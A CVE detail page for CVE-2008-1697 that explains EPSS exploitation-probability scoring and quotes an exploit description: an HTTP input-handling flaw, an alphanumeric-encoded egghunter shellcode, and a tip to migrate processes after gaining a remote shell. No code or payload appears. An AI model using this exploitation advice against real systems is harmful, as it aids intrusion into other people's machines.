CVE-2008-1697 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Specifically this vulnerability is caused by a failure to properly handle user supplied input within the HTTP request including headers and the actual URL GET request. Exploitation is tricky due to character restrictions. It was necessary to utilize a egghunter shellcode which was alphanumeric encoded by muts in the original exploit. If you plan on using exploit this for a remote shell, you will likely want to migrate to a different process as soon as possible. Any connections get reset after a short period of time.
